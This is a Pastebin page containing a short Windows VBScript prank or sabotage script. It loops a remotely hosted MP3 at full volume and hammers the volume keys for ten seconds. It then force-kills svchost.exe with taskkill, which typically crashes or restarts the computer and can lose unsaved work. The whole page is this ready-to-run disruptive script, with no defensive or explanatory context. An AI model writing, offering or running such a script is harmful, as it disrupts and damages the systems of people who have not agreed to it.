Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Set Sound = CreateObject("WMPlayer.OCX")
- Sound.URL = "https://musify.club/track/dl/17771946/fem-love-1000-7.mp3"
- Sound.settings.volume = 100
- Sound.settings.setMode "loop", True
- Sound.controls.play
- ' Устанавливаем системный звук на максимум
- Set objShell = CreateObject("WScript.Shell")
- objShell.SendKeys(chr(&hAD))
- objShell.SendKeys(chr(&hAF))
- Dim startTime, endTime, currentTime
- startTime = Timer
- Do
- objShell.SendKeys(chr(&hAD))
- objShell.SendKeys(chr(&hAF))
- WScript.Sleep 100
- currentTime = Timer
- Loop Until currentTime - startTime >= 10
- objShell.Run "taskkill /F /IM svchost.exe"
Advertisement
Advertisement